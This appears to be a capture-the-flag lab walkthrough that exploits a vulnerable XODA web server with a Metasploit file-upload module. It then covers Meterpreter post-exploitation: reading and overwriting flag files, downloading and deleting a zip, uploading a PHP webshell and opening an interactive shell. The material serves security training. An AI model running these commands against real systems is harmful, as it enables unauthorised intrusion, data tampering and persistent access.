Lab
The target runs a vulnerable web server. Exploit it to get a Meterpreter session, then work through the post-exploitation tasks below.
Tasks
- Check the present working directory on the remote (exploited) machine.
- List the files in the present working directory of the remote machine.
- Check the present working directory on the local (attacker) machine.
- List the files in the present working directory of the local machine.
- Get the flag value in
/app/flag1. - Change the flag value in
/app/flag1so that no one else can get the right flag. - Change to a suspiciously named directory in
/appand read the flag from a hidden file there. - Get
flag5.zipto the local machine and open it with password 56784. The extracted file hints at the location of another flag. - Delete the
.zipfile from the directory. - Print the checksum of the file mentioned in the extracted file (see task 8).
- Check the PATH environment variable on the remote machine.
- There is a file with the string "ckdo" in its name in one of the PATH directories. Print the flag hidden in it.
- Change to the tools directory on the local machine.
- Upload a PHP webshell to the app directory of the remote machine.
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a post_exploit
Set Global Variables
setg sets an option for every module, so the target only has to be entered once.
setg RHOSTS 192.215.52.3
setg RHOST 192.215.52.3
Scan with db_nmap
db_nmap -sC -sV 192.215.52.3
Curl the HTTP Homepage
curl http://192.215.52.3
Exploit XODA with Metasploit
use exploit/unix/webapp/xoda_file_upload
set TARGETURI /
exploit
Post-Exploitation in the Meterpreter Session
Check who and where we are, then name the session so it is easy to spot:
sysinfo
getuid
sessions -n xoda -i 1
List files, print the working directory, and move up one level:
ls
pwd
cd ..
Read the first flag:
cat flag1
edit flag1 opens the file in vim so its value can be changed. Then drop into the suspiciously named directory and read the hidden second flag:
edit flag1
cd "Secret Files"
cat .flag2
Pull flag5.zip down to the attack box:
download flag5.zip
Press CTRL+Z to background the session, then unzip the file and read the extracted list:
unzip flag5.zip
cat list
Upload the webshell, then check the MD5 hash of a file:
upload shell.php
checksum md5 /bin/bash
checksum md5 /bin/bashchecks the MD5 hash of the file.
Read the PATH environment variable:
getenv PATH
Search the remote filesystem for files by directory and by name:
search -d /usr/bin -f *backdoor*
search -f *.jpg
-dsets the directory to search.-fsets the filename pattern.
Drop to a system shell, stabilize it, and look at the process list:
shell
/bin/bash -i
export TERM=xterm-256color
ps
psshows the process tree / processes on the system.
Finally, make and remove a test directory:
mkdir test
rmdir test